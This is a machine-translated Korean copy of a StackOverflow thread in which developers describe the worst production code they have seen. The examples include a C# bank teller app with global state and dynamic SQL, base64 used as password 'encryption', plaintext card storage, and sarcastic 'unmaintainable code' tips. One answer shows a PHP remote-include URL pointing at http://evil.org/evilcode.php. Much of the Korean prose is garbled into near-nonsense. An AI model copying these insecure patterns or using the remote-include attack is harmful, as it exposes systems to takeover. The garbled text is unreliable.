무엇이 가장 악 코드 당신이 이제까지 본에서 생산업 환경은?[마감]

StackOverflow https://stackoverflow.com/questions/434414

  •  10-07-2019
  •  | 
  •  

문제

무엇이 가장 악마나 위험한 코드 조각은 당신이 이제까지 본에서 생산 환경에서 회사입니까?나는이 발생하지 않을 생산하는 코드는 것이 좋을 의도적으로 악성과 악,그래서 나는 매우 궁금 무엇을 보고 다른 사람들이 발견했다.

가장 위험한 코드가 나는 본 적이 없었고 저장 프로시저는 두 가지 연결되어-서버에서 우리의 핵심은 생산 데이터베이스 서버입니다.저장 프로시저를 허용한 어떤 이며(8000)매개 변수는 실행 매개변수에서 대상 생산을 통해 서버는 두 번 뛰어 전까 명령입니다.는 말해,전까 명령을 실행하는 또 다른 전까 명령어를 이동하기 위해 두 개의 연결된 서버에 있습니다.아,그리고 연결된 서버 계정이버권 대상에서 생산 서버입니다.

도움이 되었습니까?

해결책

경고:긴 무서운 게시물에 앞서

나는에 대해 작성 중 하나는 응용 프로그램 일했기 .간단히 말하면,회사 상속 130,000 라인의 쓰레기서 인도입니다.응용 프로그램에 기록되었 C#;그것은 점쟁이 응용 프로그램,동일한 종류의 소프트웨어쟁이 사용하여 카운터 뒤에 갈 때마다 당신은 은행.의 응용 프로그램은 40~50 번 하루에,그것은 단순히 수 없 리팩토링으로 작동 코드입니다.나의 회사를 다시 쓰기 전체 응용 프로그램의 과정을 통해 12 개월입니다.

왜 이런 응용 프로그램 악?기 때문에 시력의 소스 코드에 충분했다 드라이브는 온전한 사람을 미친과 미친 사람은 제정신입니다.트 사용되는 논리는 이것을 쓰는 응용 프로그램을 수 있만에서 영감을 받았 lovecraftian 에서 악몽이다.이 응용 프로그램의 독특한 특징을 포함:

  • 의 130,000 라인의 코드,전체 응용 프로그램이 포함된 5 종류(제외한 형태로 파일).의 모든 이들 public static 클래스입니다.하나의 클래스 라고 했 Globals.cs 포함 1000 과 1000 고의 1000public static 변수를 사용되는 전체를 보유 응용 프로그램의 상태.그 다섯 개의 클래스가 포함되어 20,000 라인의 코드 총,나머지 포함된 코드에서 형태입니다.

  • 당신이,궁금해하는 어떻게 프로그래머를 쓰고 관리와 같은 큰 응용 프로그램이 없습니다.무엇을 했는 그 사용을 나타내는 데이터 objects?로 프로그래머 관리를 개혁 절반의 개념은 우리 모두에 대해 배운 OOP 단순히 조합하여 ArrayLists,해시 테이블,그리고 DataTables.우리는 많이 보았다:

    • ArrayLists 의 해시 테이블
    • 해시 테이블과 함께 문자열에는 키와 값을 읽어
    • ArrayLists 의 DataTables
    • DataRows 포함하는 ArrayLists 포함한 해시 테이블
    • ArrayLists 의 DataRows
    • ArrayLists 의 ArrayLists
    • 해시 테이블과 함께 문자열에는 키와 값 HashTable
    • ArrayLists 의 ArrayLists 의 해시 테이블
    • 다른 모든 조합의 ArrayLists,해시 테이블,DataTables 생각할 수 있습니다.

    계속 마음이 없는 데이터의 구조를 위한 강력한 형식,그래서 당신은 당신을 캐스팅하고 어떤 신비체 당신의 목록을 올바른 형식입니다.그것은 놀라운 어떤 종류의 복잡한,루브 골드버그와 같은 데이터 구조를 만들 수 있습만을 사용하여 ArrayLists,해시 테이블,그리고 DataTables.

  • 을 공유하는 방법의 예를 사용하여 객체 모델을 상세한 위,고려한 계정:원래의 프로그래머가 생성되 HashTable 각 concievable 의 재산 계정:HashTable 라 hstAcctExists,hstAcctNeedsOverride,hstAcctFirstName.열쇠를 위해 모든 사람들의 해시 테이블이었다"|"로 구분 문자열입니다.생각할 수 있는 포함되는 열쇠"123456|DDA","24100|SVG","100|LNS",등등.

  • 이후 상태의 전체 응용 프로그램에서 쉽게 액세스할 수 있으로 변한 프로그래머들은 그것을 발견한 불필요한 매개 변수를 전달하는 방법입니다.I'd say90%의 방법했 0 매개 변수입니다.의 몇 가지는 모두 매개 변수가 전달된 문자열로 편의를 위해,관계없이 문자열을 표시됩니다.

  • 부작용 가능한 함수 존재하지 않았다.모든 방법을 수정 1 또는 변수에는 전역 클래스입니다.모든 부작용을 의미했;예를 들어,하나의 형태로 검증 방법을 했다는 신비의 부작용을 계산하고 짧은 대출에서 결제 어떤 계정에 저장되었 Globals.lngAcctNum.

  • 가 있었지만 많은 양식이나 형태로 그들 모두를 지배하는:frmMain.연사는 무려 20,000 라인의 코드입니다.무엇을 했는 frmMain 니까?모든 것입니다.그것은 보니 계정에,인쇄한 영수증,현금 분배,그것은 모든 것입니다.

    때로는 다른 형태를 호출하는 데 필요한 방법에 frmMain.보다는 요소는 코드 형태로 별도의 클래스,이를 호출하여 직접 코드:

    ((frmMain)this.MDIParent).UpdateStatusBar(hstValues);
    
  • 을 찾아 계정,프로그래머가 이와 같은:

    bool blnAccountExists =
        new frmAccounts().GetAccountInfo().blnAccountExists
    

    나쁜으로 이미 창조 보이지 않는 형태로 수행하는 비즈니스 논리,당신은 어떻게 생각하는 형태로 알고 있는 계정을 보니까?는 쉽습니다:의 양식을에 액세스할 수 있습 Globals.lngAcctNum 및 Globals.strAcctType.(사랑하지 않는 사람 헝가리 표?)

  • 코드 다시 사용되었에 대한 동의어 ctrl-c,ctrl-v내가 찾은 200-라인 방법을 복사/붙여에 걸쳐 20 형태입니다.

  • 응용 프로그램에는 스레딩 기괴한 모델,무언가를 부르고 싶은 스레드 및 타이머 모델:각각의 양식을 생성하는 스레드가 있었 타이머에 있습니다.각 쓰레드는 양산에서 쫓겨 타이머는 200ms delay;한번 타이머를 시작,그것은 확인 하는 경우 스레드를 설정했 마법 boolean,그것은 중단 thread.결과에서 여 섭취했다.

    당신이 생각하는 당신만이 패턴이 한 번,그러나 나는 그것이 적어도 10 개의 다른 장소입니다.

  • 말레드의 키워드"lock"에서 나타난 적이 없습니다.스레드를 조작하는 글로벌 국가 없이 자유롭게 복용을 잠급니다.

  • 모든 방법 응용 프로그램에서 포함되는 시도/하고 있습니다.모든 예외 기록되었다고 합니다.

  • 을 필요로 전환하에 열거 전환할 때 문자열에만큼 쉽습니다!

  • 일부는 천재를 파악할 수 있는 후크가 여러 형태로 컨트롤까지 동일한 이벤트를 처리기입니다.어떻게 프로그래머는 이?

    private void OperationButton_Click(object sender, EventArgs e)
    {
        Button btn = (Button)sender;
        if (blnModeIsAddMc)
        {
            AddMcOperationKeyPress(btn);
        }
        else
        {
            string strToBeAppendedLater = string.Empty;
            if (btn.Name != "btnBS")
            {
                UpdateText();
            }
            if (txtEdit.Text.Trim() != "Error")
            {
                SaveFormState();
            }
            switch (btn.Name)
            {
                case "btnC":
                    ResetValues();
                    break;
                case "btnCE":
                    txtEdit.Text = "0";
                    break;
                case "btnBS":
                    if (!blnStartedNew)
                    {
                        string EditText = txtEdit.Text.Substring(0, txtEdit.Text.Length - 1);
                        DisplayValue((EditText == string.Empty) ? "0" : EditText);
                    }
                    break;
                case "btnPercent":
                    blnAfterOp = true;
                    if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                    {
                        AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, false);
                        decCurrValue = decResultValue * decCurrValue / intFormatFactor;
                        DisplayValue(GetValueString(decCurrValue));
                        AddToTape(GetValueString(decCurrValue), string.Empty, true, false);
                        strToBeAppendedLater = GetValueString(decResultValue).PadLeft(20)
                                                    + strOpPressed.PadRight(3);
                        if (arrLstTapeHist.Count == 0)
                        {
                            arrLstTapeHist.Add(strToBeAppendedLater);
                        }
                        blnEqualOccurred = false;
                        blnStartedNew = true;
                    }
                    break;
                case "btnAdd":
                case "btnSubtract":
                case "btnMultiply":
                case "btnDivide":
                    blnAfterOp = true;
                    if (txtEdit.Text.Trim() == "Error")
                    {
                        btnC.PerformClick();
                        return;
                    }
                    if (blnNumPressed || blnEqualOccurred)
                    {
                        if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                        {
                            if (Operation())
                            {
                                AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                                DisplayValue(GetValueString(decResultValue));
                            }
                            else
                            {
                                AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                                DisplayValue("Error");
                            }
                            strOpPressed = btn.Text;
                            blnEqualOccurred = false;
                            blnNumPressed = false;
                        }
                    }
                    else
                    {
                        strOpPressed = btn.Text;
                        AddToTape(GetValueString(0), (string)btn.Text, false, false);
                    }
                    if (txtEdit.Text.Trim() == "Error")
                    {
                        AddToTape("Error", string.Empty, true, true);
                        btnC.PerformClick();
                        txtEdit.Text = "Error";
                    }
                    break;
                case "btnEqual":
                    blnAfterOp = false;
                    if (strOpPressed != string.Empty || strPrevOp != string.Empty)
                    {
                        if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                        {
                            if (OperationEqual())
                            {
                                DisplayValue(GetValueString(decResultValue));
                            }
                            else
                            {
                                DisplayValue("Error");
                            }
                            if (!blnEqualOccurred)
                            {
                                strPrevOp = strOpPressed;
                                decHistValue = decCurrValue;
                                blnNumPressed = false;
                                blnEqualOccurred = true;
                            }
                            strOpPressed = string.Empty;
                        }
                    }
                    break;
                case "btnSign":
                    GetValueDecimal(txtEdit.Text, out decCurrValue);
                    DisplayValue(GetValueString(-1 * decCurrValue));
                    break;
            }
        }
    }
    
  • 같은 천재가 발견 또한 영광스러운 원 연산자입니다.여기에는 일부 샘플 코드:

    frmTranHist.cs [line 812]:

    strDrCr = chkCredits.Checked && chkDebits.Checked ? string.Empty
                        : chkDebits.Checked ? "D"
                            : chkCredits.Checked ? "C"
                                : "N";
    

    frmTellTransHist.cs [line 961]:

    if (strDefaultVals == strNowVals && (dsTranHist == null ? true : dsTranHist.Tables.Count == 0 ? true : dsTranHist.Tables[0].Rows.Count == 0 ? true : false))
    

    frmMain.TellCash.cs [line 727]:

    if (Validations(parPostMode == "ADD" ? true : false))
    
  • 여기에는 코드는 일반적인 오용의 이러.참고가 어떻게 프로그래머 concats 문자열 루프에서,다음을 추가한 결과 문자열을 이:

    private string CreateGridString()
    {
        string strTemp = string.Empty;
        StringBuilder strBuild = new StringBuilder();
        foreach (DataGridViewRow dgrRow in dgvAcctHist.Rows)
        {
            strTemp = ((DataRowView)dgrRow.DataBoundItem)["Hst_chknum"].ToString().PadLeft(8, ' ');
            strTemp += "  ";
            strTemp += Convert.ToDateTime(((DataRowView)dgrRow.DataBoundItem)["Hst_trandt"]).ToString("MM/dd/yyyy");
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_DrAmount"].ToString().PadLeft(15, ' ');
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_CrAmount"].ToString().PadLeft(15, ' ');
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_trancd"].ToString().PadLeft(4, ' ');
            strTemp += "  ";
            strTemp += GetDescriptionString(((DataRowView)dgrRow.DataBoundItem)["Hst_desc"].ToString(), 30, 62);
            strBuild.AppendLine(strTemp);
        }
        strCreateGridString = strBuild.ToString();
        return strCreateGridString;//strBuild.ToString();
    }
    
  • 기능 키,인덱스,또는 외국인 핵심 제약 조건이 존재하는 테이블에,거의 모든 분야의 유형 varchar(50),및 100%의 필드 입니다.흥미롭게도,비트 필드지 않을 저장하는 데 사용되는 부울 값 데이터대신 char(1)분야에 사용되었고,캐릭터'Y'과'N'을 나타내는 데 사용되는 진실하고 거짓 각각합니다.

    • 의 말해서,데이터베이스는 여기 대표적인 예의 저장 프로시저:

      ALTER PROCEDURE [dbo].[Get_TransHist]
       ( 
            @TellerID   int = null,
            @CashDrawer int = null,
            @AcctNum    bigint = null,
            @StartDate  datetime = null,
            @EndDate    datetime = null,
            @StartTranAmt     decimal(18,2) = null,
            @EndTranAmt decimal(18,2) = null,
            @TranCode   int = null,
            @TranType   int = null
       )
      AS 
            declare @WhereCond Varchar(1000)
            declare @strQuery Varchar(2000)
            Set @WhereCond = ' '
            Set @strQuery = ' '
            If not @TellerID is null
                  Set @WhereCond = @WhereCond + ' AND TT.TellerID = ' + Cast(@TellerID as varchar)
            If not @CashDrawer is null
                  Set @WhereCond = @WhereCond + ' AND TT.CDId = ' + Cast(@CashDrawer as varchar)
            If not @AcctNum is null
                  Set @WhereCond = @WhereCond + ' AND TT.AcctNbr = ' + Cast(@AcctNum as varchar)
            If not @StartDate is null
                  Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) >= ''' + Convert(varchar,@StartDate,121) + ''''
            If not @EndDate is null
                  Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) <= ''' + Convert(varchar,@EndDate,121) + ''''
            If not @TranCode is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranCode = ' + Cast(@TranCode as varchar)
            If not @EndTranAmt is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranAmt <= ' + Cast(@EndTranAmt as varchar)
            If not @StartTranAmt is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranAmt >= ' + Cast(@StartTranAmt  as varchar)
            If not (@TranType is null or @TranType = -1)
                  Set @WhereCond = @WhereCond + ' AND TT.DocType = ' + Cast(@TranType as varchar)
            --Get the Teller Transaction Records according to the filters
            Set @strQuery = 'SELECT 
                  TT.TranAmt as [Transaction Amount], 
                  TT.TranCode as [Transaction Code],
                  RTrim(LTrim(TT.TranDesc)) as [Transaction Description],
                  TT.AcctNbr as [Account Number],
                  TT.TranID as [Transaction Number],
                  Convert(varchar,TT.ActivityDateTime,101) as [Activity Date],
                  Convert(varchar,TT.EffDate,101) as [Effective Date],
                  Convert(varchar,TT.PostDate,101) as [Post Date],
                  Convert(varchar,TT.ActivityDateTime,108) as [Time],
                  TT.BatchID,
                  TT.ItemID,
                  isnull(TT.DocumentID, 0) as DocumentID,
                  TT.TellerName,
                  TT.CDId,
                  TT.ChkNbr,
                  RTrim(LTrim(DT.DocTypeDescr)) as DocTypeDescr,
                  (CASE WHEN TT.TranMode = ''F'' THEN ''Offline'' ELSE ''Online'' END) TranMode,
                  DispensedYN
            FROM TellerTrans TT WITH (NOLOCK)
            LEFT OUTER JOIN DocumentTypes DT WITH (NOLOCK) on DocType = DocumentType
            WHERE IsNull(TT.DeletedYN, 0) = 0 ' + @WhereCond + ' Order By BatchId, TranID, ItemID'    
            Exec (@strQuery)
      

모든는 말했다,하나의 가장 큰 문제는 이 130,000 라인 응용 프로그램이:아 단위 테스트를 확인할 수 있습니다

그렇다,저는 이 이야기를 TheDailyWTF,그리고 나는 종료하는 내 작업입니다.

다른 팁

이와 같은 암호 암호화 기능을 보았습니다

function EncryptPassword($password)
{
    return base64_encode($password);
}

신용 카드 결제를 한 시스템에서 우리는 이름, 만료 날짜 등과 함께 전체 신용 카드 번호를 저장하는 데 사용했습니다.

우리가 당시 법무부의 프로그램을 작성하고 있다는 점을 감안할 때 이것은 불법이라는 것이 밝혀졌습니다.

이것은 상업 코드의 오류 처리 루틴입니다.

/* FIXME! */
while (TRUE)
    ;

나는 왜 "앱이 계속 잠기고있다"고 알아야했다.

다음 모든 PHP '기능'의 조합은 한 번에.

  1. 글로벌 등록
  2. 변수 변수
  3. ( "http : // ...")를 통한 원격 파일 및 코드 포함;
  4. 실제로 끔찍한 배열/변수 이름 (문자 예제) :

    foreach( $variablesarry as $variablearry ){
      include( $$variablearry ); 
    }
    

    (나는 말 그대로 한 시간 동안 내가 깨달기 전에 어떻게 작동하는지 알아 내려고했습니다. 그렇지 않습니다 동일한 변수)

  5. 각각 50 개의 파일을 포함하는 50 개의 파일을 포함하며, 조건부 및 예측할 수없는 방식으로 50 개의 파일에서 모든 파일에서 선형/절차 적으로 수행됩니다.

변수 변수를 모르는 사람들의 경우 :

$x = "hello"; 
$$x = "world"; 
print $hello # "world" ;

이제 $ x는 URL (regis

이제 해당 변수의 내용이 웹 사이트 사용자가 지정한 URL 일 때 어떻게되는지 고려하십시오. 예, 이것은 당신에게 의미가 없지만 해당 URL이라는 변수를 만듭니다.

$http://google.com,

직접 액세스 할 수없는 경우를 제외하고 위의 이중 $ 기술을 통해 사용해야합니다.

또한 사용자가 포함 할 파일을 나타내는 URL에 변수를 지정할 수있는 경우

http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php

그리고 그 변수가 나타나면 include($include)

'EvilCode.php'는 코드 일반 텍스트를 인쇄하고 PHP는 부적절하게 안전합니다.

Web-Sever는 모든 권한 등, 허가 한 쉘 호출, 임의의 바이너리 다운로드 및 실행 등을 제공합니다. 결국 디스크 공간이 부족한 상자가 있는지 궁금해 할 때까지 1 층의 불법 복제 된 영화가 있습니다. 봇을 통해 IRC에서 공유되는 이탈리아 더빙.

나는 공격을 실행하는 스크립트가 공격을 실행하기 전에 끔찍한 일을하기로 결정했다는 사실을 알게되어 감사합니다.

(나는 코드베이스로 매일 6 개월 동안 매일 매일 즐겁게 할 수 있습니다. 나는 당신을 놀리지 않습니다. 그 단지 나는 그 코드를 피한 후에 매일 WTF를 발견했습니다)

기본 프로젝트 헤더 파일에서 Old-Hand Cobol 프로그래머의 C : C :

int i, j, k;

"따라서 루프 변수를 선언하는 것을 잊어 버린 경우 컴파일러 오류가 발생하지 않습니다."

Windows 설치 프로그램.

이 기사 인재 할 수없는 코드를 작성하는 방법 사람에게 알려진 가장 훌륭한 기술 중 일부를 다룹니다. 내가 가장 좋아하는 것 중 일부는 다음과 같습니다.


아기의 이름에 대한 새로운 용도

아기 이름 지정 책의 사본을 사면 가변 이름을 잃지 않을 것입니다. 프레드는 훌륭한 이름이며 입력하기 쉽습니다. 유형이 쉬운 변수 이름을 찾고 있다면 DSK 키보드로 입력하면 ADSF 또는 AOEU를 사용해보십시오.

창조적 인 미스 스펠

설명 변수와 함수 이름을 사용해야하는 경우 철자를 철자하십시오. 일부 기능 및 가변 이름으로 철자를 쓰고 다른 이름에서 철자를 올바르게 철자 (SetPintleOpening SetPintalClosing과 같은) GREP 또는 IDE 검색 기술의 사용을 효과적으로 무효화합니다. 놀랍게 잘 작동합니다. 다른 극장/극장에서 Tory 또는 Tori를 철자하여 국제적인 맛을 더하십시오.

추상적입니다

이름 지정 기능과 변수에서 모든 것, 데이터, 데이터, 손잡이, 물건, 일, 일상, 성과 및 숫자와 같은 추상적 인 단어를 많이 사용합니다.

자본화

단어 중간에 음절의 첫 글자를 무작위로 활용하십시오. 예를 들어 ComputerasterHistogram ().

소문자 L은 숫자 1처럼 보입니다 1

소문자 L을 사용하여 긴 상수를 나타냅니다. EG 10L은 10L이 101로 오인 될 가능성이 높습니다. UVW WW GQ9 2Z 5S IL17 |! j oo08` ";,. m nn rn {[()]}.

변수를 재활용하십시오

범위 규칙이 허용되는 경우 기존 관련 변수 이름을 재사용하십시오. 마찬가지로, 두 가지 관련없는 목적으로 동일한 임시 변수를 사용하십시오 (스택 슬롯을 절약하기위한 취지). Fiendish 변형의 경우 변수를 변수로 변형합니다. 예를 들어, 매우 긴 방법의 맨 위에 변수에 값을 할당 한 다음 중간 어딘가에 변수의 의미를 변수의 의미를 미묘한 방식으로 변경합니다. 1 기반 좌표에 대한 0 기반 좌표. 이 변화를 의미에서 문서화하지 않아야합니다.

cd wrttn wtht vwls s mch trsr

변수 또는 메소드 이름 내에서 약어를 사용할 때는 같은 단어에 대한 여러 변형으로 지루함을 깨고 한 번만의 철자를 썼습니다. 이것은 텍스트 검색을 사용하여 프로그램의 일부 측면 만 이해하는 게으른 부랑자를 물리 치는 데 도움이됩니다. 변형 철자는 Ploy의 변형으로 고려하십시오. 이름을 완전히 철자하면 각 이름을 철자하는 가능한 하나의 방법 만 있습니다. 유지 보수 프로그래머가 기억하기에는 너무 쉽습니다. 약어를 사용하여 단어를 약칭하는 다양한 방법이 있기 때문에 모두 같은 명백한 목적을 가진 여러 가지 변수를 가질 수 있습니다. 추가 보너스로 유지 보수 프로그래머는 별도의 변수임을 알지 못할 수도 있습니다.

모호한 영화 참조

파란색 대신 lancelotsfavouritecolour와 같은 상수 이름을 사용하고 $ 0204FB의 16 진수를 할당하십시오. 색상은 화면에서 순수한 파란색과 동일하게 보이며 유지 보수 프로그래머는 0204FB (또는 일부 그래픽 도구)를 사용하여 어떻게 보이는지 알 수 있습니다. Monty Python과 Holy Grail에 친숙한 사람만이 Lancelot이 가장 좋아하는 색이 파란색이라는 것을 알 것입니다. 유지 보수 프로그래머가 메모리에서 전체 Monty Python 영화를 인용 할 수없는 경우, 그녀는 프로그래머가되는 사업이 없습니다.

명백한 문서를 문서화하십시오

/ *와 같은 주석으로 코드를 Pepper I * / 그러나 패키지 나 방법의 전반적인 목적과 같은 양모를 문서화하지 마십시오.

이유를 문서화하십시오

프로그램이 수행하려는 일이 아니라 프로그램이하는 일에 대한 세부 사항 만 문서화하십시오. 그렇게하면 버그가 있으면 고정 장치는 코드가 무엇을 해야하는지 전혀 알 수 없습니다.

부작용

C에서는 기능이 묘사되어야합니다 (부작용없이). 나는 힌트가 충분하기를 바랍니다.

옥탈을 사용하십시오

옥탈 리터럴을 밀수어 10 진수 숫자 목록으로 밀어 넣습니다.

array = new int []
{ 
111, 
120, 
013, 
121, 
};

확장 된 ASCII

확장 된 ASCII 문자는 ß, ð 및 ñ 문자를 포함하여 가변 이름으로 완벽하게 유효합니다. 간단한 텍스트 편집기에서 복사/붙여 넣지 않고 입력하는 것은 거의 불가능합니다.

다른 언어의 이름

외국어 사전을 가변 이름의 소스로 사용하십시오. 예를 들어, Point에는 독일 펑크를 사용하십시오. 유지 보수 코더는 독일어를 확고히 이해하지 못하면 그 의미를 해독하는 다문화 경험을 즐길 것입니다.

수학의 이름

수학 연산자로 가장 위장한 변수 이름을 선택하십시오.

openParen = (slash + asterix) / equals;

댓글로 가장 무도회를 코드하고 그 반대도 마찬가지입니다

주석이 있지만 언뜻보기에는 코드 섹션이 포함되어 있지 않습니다.

for(j=0; j<array_len; j+ =8)
{ 
total += array[j+0 ]; 
total += array[j+1 ]; 
total += array[j+2 ]; /* Main body of 
total += array[j+3];   * loop is unrolled 
total += array[j+4];   * for greater speed. 
total += array[j+5];   */ 
total += array[j+6 ]; 
total += array[j+7 ]; 
}

컬러 코딩이 없으면 세 줄의 코드가 주석을 내겠습니까?

키워드로 가장 위의 임의의 이름

문서화 할 때는 파일 이름 사용 "파일"을 나타내려면 임의 이름이 필요합니다. "Charlie.dat"또는 "frodo.txt"와 같은 명백한 임의 이름을 사용하지 마십시오. 일반적으로 예에서는 가능한 한 예약 된 키워드와 유사하게 들리는 임의 이름을 사용하십시오. 예를 들어, 매개 변수 또는 변수의 좋은 이름은 "은행", "공백", "클래스", "const", "constan", "constant", "input", "key", "키워드", "종류", "output"입니다. , "매개 변수" "parm", "system", "type", "value", "var"및 "variable". 임의 이름에 실제 예약 된 단어를 사용하는 경우 명령 프로세서 또는 컴파일러에 의해 거부되는 것이 훨씬 좋습니다. 이 작업을 잘 수행하면 예제에서 예약 키워드와 임의의 이름 사이에서 희망적으로 혼란스러워 지지만 무고하게 보일 수 있으며 각 변수와 적절한 목적을 연관시키는 데 도움이되었다고 주장 할 수 있습니다.

코드 이름은 화면 이름과 일치하지 않아야합니다

이러한 변수가 화면에 표시 될 때 사용되는 레이블과 전혀 관련이없는 변수 이름을 선택하십시오. 예를 들어 화면에 "우편 번호"필드가 표시되지만 코드에서 관련 변수 "zip"을 호출하십시오.

최고의 오버로드 연산자를 선택합니다

C ++, Overload+,-,*,/// adding, subtraction 등과 완전히 관련이없는 일을하기 위해, stroustroup이 Shift 연산자를 사용하여 I/ O를 수행 할 수 있다면 왜 동등하게 창의적이지 않아야합니까? +를 과부하 시키면 i = i + 5의 방식으로 수행해야합니다. I += 5와 완전히 다른 의미를 갖습니다. 다음은 과부하 연산자 난독 화를 높은 예술로 향상시키는 예입니다. '!'에 과부하 클래스의 연산자이지만 과부하는 반전 또는 부정과 관련이 없습니다. 정수를 반환하게하십시오. 그런 다음 논리적 가치를 얻으려면 사용해야합니다. ' ! '. 그러나 이것은 논리를 반전 시키므로 [드럼 롤] 당신은 사용해야합니다! ! ! '. 혼동하지 마십시오! ~ bitwise 논리적 부정 연산자와 함께 부울 0 또는 1을 반환하는 연산자.

예외

나는 당신에게 약간 알려진 코딩 비밀을 알려 드리겠습니다. 예외는 뒤에 통증입니다. 적절하게 작성된 코드는 결코 실패하지 않으므로 예외는 실제로 불필요합니다. 그들에게 시간을 낭비하지 마십시오. 서브 클래스 예외는 코드가 실패한다는 것을 아는 무능한 사람들을위한 것입니다. System.exit ()를 호출하는 전체 애플리케이션 (기본)에서 하나의 시도/캐치 만 있으면 프로그램을 크게 단순화 할 수 있습니다. 모든 메소드 헤더에서 실제로 예외를 던질 수 있는지 여부에 관계없이 완벽하게 표준적인 던지기 세트를 고수하십시오.

마법 매트릭스 위치

특정 매트릭스 위치의 특수 값을 플래그로 사용하십시오. 좋은 선택은 균질 한 좌표계와 함께 사용되는 변환 매트릭스의 [3] [0] 요소입니다.

매직 어레이 슬롯이 다시 방문되었습니다

주어진 유형의 여러 변수가 필요한 경우 배열을 정의 한 다음 숫자로 액세스하십시오. 당신만이 알고 있고 문서화하지 않는 번호 컨벤션을 선택하십시오. 인덱스에 대한 #Define 상수를 정의하지 마십시오. 모두가 글로벌 변수 위젯 [15]이 취소 버튼이라는 것을 알아야합니다. 이것은 어셈블러 코드에서 절대 숫자 주소를 사용하는 것에 대한 최신 변형 일뿐입니다.

결코 아름답게하지 마십시오

자동화 된 소스 코드 소스 깔끔 (Beautifier)을 사용하여 코드를 정렬하십시오. 로비는 PVC/CVS (버전 제어 추적)로 허위 델타를 생성하거나 모든 프로그래머가 자신의 계약 스타일을 자신의 계약 스타일에 대해 자신의 계약을 맺어야하는 모든 모듈에 대해 자신의 계약 스타일을 유지해야합니다. 다른 프로그래머들은 "그의"모듈에서 이러한 특유의 규칙을 관찰한다고 주장한다. 미용사를 금지하는 것은 수동 정렬을 수행하는 수백만 개의 키 스트로크를 절약하고 일정이 잘못된 코드를 잘못 해석하는 날을 낭비하지만 매우 쉽습니다. 모든 사람이 공통 저장소에 저장하는 것뿐만 아니라 편집 중에도 동일한 정렬 형식을 사용한다고 주장합니다. 이것은 Rwar와 보스를 시작하여 평화를 유지하기 위해 자동 정리를 금지 할 것입니다. 자동화 된 정리 없이는 이제 실수로 코드를 잘못 정렬하여 루프와 IF가 실제보다 길거나 짧은 개신 착시를 제공하거나 실제로는 조항이 실제로 그렇지 않은 경우 다른 일과 일치합니다. 예를 들어

if(a)
  if(b) x=y;
else x=z;

테스트는 겁쟁이를위한 것입니다

용감한 코더는 그 단계를 우회합니다. 너무 많은 프로그래머가 상사를 두려워하고, 직장을 잃는 것을 두려워하고, 고객의 증오 메일을 두려워하고 고소당하는 것을 두려워합니다. 이 두려움은 행동을 마비시키고 생산성을 줄입니다. 연구에 따르면 시험 단계를 제거하면 관리자가 선박 날짜를 미리 설정하여 계획 프로세스의 분명한 도움이 될 수 있음을 의미합니다. 두려움이 사라지면 혁신과 실험이 꽃을 피울 수 있습니다. 프로그래머의 역할은 코드를 생성하는 것이며 헬프 데스크 및 레거시 유지 관리 그룹의 협력 노력으로 디버깅을 수행 할 수 있습니다.

코딩 능력에 대한 확신이 있다면 테스트가 불필요합니다. 우리가 이것을 논리적으로 보면, 어떤 바보라도 테스트가 기술적 인 문제를 해결하려고 시도하지 않고, 이는 정서적 자신감의 문제라는 것을 인식 할 수 있습니다. 이러한 신뢰 부족 문제에 대한보다 효율적인 솔루션은 테스트를 완전히 제거하고 프로그래머를 자존심 과정으로 보내는 것입니다. 결국, 테스트를 선택하면 모든 프로그램 변경을 테스트해야하지만 프로그래머를 자존심 구축에 대한 한 과정으로 보내면됩니다. 비용 혜택은 분명한만큼 놀랍습니다.

일반적인 참 허위 규칙을 뒤집습니다

참와 거짓의 일반적인 정의를 되돌립니다. 매우 분명하게 들리지만 훌륭하게 작동합니다. 당신은 숨길 수 있습니다 :

#define TRUE 0 
#define FALSE 1

코드의 깊은 곳에서는 아무도 더 이상 보지 않는 일부 파일에서 프로그램의 창자에서 준설되도록 코드의 깊은 곳. 그런 다음 프로그램이 다음과 같은 비교를하도록 강요합니다.

if ( var == TRUE )
if ( var != FALSE )

누군가는 명백한 중복성을 "수정"하고 일반적인 방식으로 다른 곳에서 var를 사용해야합니다.

if ( var )

또 다른 기술은 사실과 거짓이 같은 가치를 갖는 것이지만, 대부분은 그것을 고려하고 부정 행위를 할 것입니다. 값 1과 2 또는 -1 및 0을 사용하는 것은 사람들을 여행하고 여전히 존경받는 모습을 보는 더 미묘한 방법입니다. True라는 정적 상수를 정의하여 Java에서 동일한 기술을 사용할 수 있습니다. 프로그래머는 Java에 내장 된 문자 그대로의 진실이 있기 때문에 더 의심 스럽을 수도 있습니다.

정신 분열증을 이용하십시오

Java는 어레이 선언에 대해 정신 분열증입니다. 이전 C, Way String X [], (혼합 프리 포스트 픽스 표기법을 사용하는) 또는 순수한 접두사 표기법을 사용하는 새로운 Way String [] x를 수행 할 수 있습니다. 사람들을 실제로 혼동하고 싶다면 표기법을 혼합하십시오 .g.

byte[ ] rowvector, colvector , matrix[ ];

다음과 같습니다.

byte[ ] rowvector; 
byte[ ] colvector; 
byte[ ][] matrix;

코드를 "Evil"이라고 부르는지 모르겠지만 개발자가 Object[] 수업을 작성하는 대신 배열. 어디에나.

화요일에 모든 사람이 신청서의 상당 부분에 관리자 권리를 갖도록하는 코드를 보았습니다. 로컬 기계 테스트 후 원래 개발자가 코드를 제거하는 것을 잊어 버렸다고 생각합니다.

나는 이것이 잘못 인도 된만큼 "악"인지 모르겠다 (나는 최근에 오래된 새로운 것에 그것을 게시했다) :

나는 정보를 구분 된 현으로 보관하는 것을 좋아하는 한 사람을 알고있었습니다. 그는 구분 된 문자열의 배열을 사용했을 때 보여 주듯이 배열의 개념에 익숙했지만 전구는 결코 켜지지 않았습니다.

int를 문자열에 저장하기위한베이스 36 인코딩.

